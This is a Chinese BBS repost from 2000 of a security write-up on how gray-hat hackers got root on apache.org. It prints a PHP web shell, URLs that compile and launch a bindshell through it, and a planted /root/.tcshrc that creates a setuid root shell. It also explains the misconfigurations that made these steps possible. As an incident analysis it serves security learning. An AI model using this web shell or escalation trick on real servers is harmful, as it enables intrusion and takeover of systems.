● Apache.org是怎样被黑掉的(转寄) - 荔园在线 | 深圳大学学生论坛,荔园晨风BBS,深大在线网站

荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀

发信人: georgehill (清风浮云人生), 信区: Linux
标  题: Apache.org是怎样被黑掉的(转寄)
发信站: BBS 荔园晨风站 (Tue Oct 17 13:58:20 2000), 站内信件

【以下文字转载自 georgehill 的信箱】
【原文由 georgehill.bbs@smth.org 所发表】
发信人: zixia (tO Be oR NOT To be..), 信区: Linux
标  题: Apache.org是怎样被黑掉的(转寄)
发信站: BBS 水木清华站 (Fri Oct 13 00:49:19 2000)

安全标题
日期
05/05/2000
apache.org网站如何被入侵
简介
尽管以下这份文件并没有包括什么新的漏洞资讯在内，但是它还是十分重要，因为它
示范了，就算是在apache.org网站内有许多网管工作经验的人，一个普通的设定错误
，就可以被骇客用来入侵。
这些设定上的错误可以导致apache.org网站的危险，但是还好这次攻击事件是由白帽
骇客（'gray-hat'
        hackers）所为，所以实际上并没有什么危险事件发生。
以下有两件非常重要的教训是我们从这次事件学习知道的：
1.没有人可以在错误的设定之下还能安全。假如一个web网站的伺服器建置人员最知名的
web伺服器软体的原始程式码，
会很容易就被骇客更改在里面留下【后门】以方便骇客进出。因此，经验的累积告诉
我们，只下载经由官方认证的二进位档或是原始码程式档案，而且下载回来之后还要
先确认这个档案是真的经由官方认证，保证是真的他们研发的产品。
内容
本份文件是描述一群骇客，如何（经由一个礼拜的努力）成功地取得www.apache.org
网站机器的root权限，并且将该网站的首页
        'Powered by Apache' 的商标改成'Powered by Microsoft BackOffice'。网
站内的资料，除了商标的更动之外，没有其它的重要资料被更改，这是为了设定错误所导致
的安全漏洞提出警告。
The vulnerability:
The directory structure under the FTP server ftp.apache.org made it
possible to upload
        files into a path that is mapped to the apache web server. This
made it possible to upload
        PHP files into the FTP server, and then execute them from the web.

By using the following wuh.php3 script:
<?
□□□□passthru($cmd);
?>
It was possible to create a "Trojan" like PHP on the remote server: This
        script makes it possible to execute shell commands remotely, by
passing them as parameters
        to this PHP script.
For example, it was possible to execute the command 'id' by calling the
special script
        as follows:
□http://www.apache.org/thatdir/wuh.php3?cmd=id
Clearly, these shell commands run under the web server user's permissions.
While it is
        typically possible to gain root access from a normal user account
(using one of the buffer
        overflow vulnerabilities or other exploits that are usually
available on our exploits page), our hackers wanted to gain
        root access with only configuration vulnerabilities.
Next some bindshell was uploaded to the same directory and compiled (this
was just as
        easy as using 'id'):
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c
After it the program was compiled, it was executed:
http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
This gives complete shell access from remote.
This bindshell code allows telneting to a special unprivileged port (it was
set to
        respond to TCP port 65533) and provided local shell access with the
'nobody' account
        access rights (the account apache runs under).
After local access has been obtained, a higher level of access rights
were needed,
        namely root. After searching for the 'right' vulnerable
application, MySQL was chosen.
        This is because MySQL runs as user root, and because it was
reachable locally. Apache.org
        are running bugzilla, which requires a MySQL account, and since
MySQL has its username and
        password written in plaintext in the bugzilla source it was easy to
get a
        username/password pair for the MySQL database.
Using a program called nportredird, the server can now accept connections
on port 23306
        and redirect them to the localhost port 3306 - enabling the usage
of a specially built
        MySQL client.
Having gained access to localhost port 3306, and using the login 'bugs'
(which had full
        access [as in "all Y's"]), our attacker's privileges were
elevated
        substantially. This was mostly due to sloppy reading of the
BugZilla README on behalf on
        the apache.org system administrator. The README does show a quick
way to set things up
        (with all Y's) but also has a lot of security warnings, including
"don't run mysqld
        as root".
Using 'SELECT ... INTO OUTFILE;' it was possible to create files anywhere,
as root.
        These files were mode 666, but the MySQL server did not overwrite
existing files, so
        another approach was called for.
A Trojan-like trick was used. A database called 'test' was created with a
one-column
        table with an 80-character text field. A couple of inserts and
one select later, a
        /root/.tcshrc was created with contents similar to:
□□□#!/bin/sh
□□□cp /bin/sh /tmp/.rootsh
□□□chmod 4755 /tmp/.rootsh
□□□rm -f /root/.tcshrc
Quite trivial. Now it was just a matter of time until someone 'su -'.
Luckily, with 9
        people legally having root, this didn't take long. The rest is
trivial too - being root
        defacing the site was easy, but not until after a short report
listing the vulnerabilities
        and quick fixes was built. Shortly after defacing the site, the
attackers sent this report
        to one of the administrators.
In short:
The vulnerabilities were due to:
□ Ftproot==webroot, world-writable directories allowing uploading and
execution of
        php3 scripts.
□ Mysqld running as root, with a FULL RIGHTS login without a password
备注
发现者 Peter van Dijk.
--
     ▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁
▏Explorer.exe                                     ▁▁▁▁▁▁▁▁ ×oooO 到此
一游
     ▏◢  ◣  该程序执行了非法操作，即将被关闭。如果   ▏   关闭 (C)   ▏ (   )
    Oooo
     ▏  ×    问题依然存在，请与zixia@zixia.net联系。  ▔▔▔▔▔▔▔▔    \ (
   (   )
     ▏◥  ◤                                           ▁▁▁▁▁▁▁▁
\_)    ) /
     ▏        http://www.zixia.net                     ▏详细资料(d)>> ▏
zixia  (_/
     ▏                                                 ▔▔▔▔▔▔▔▔
OICQ:918999

※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.205.10.77]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.115]

荔园在线首页友情链接：深圳大学深大招生荔园晨风BBS S-Term软件网络书店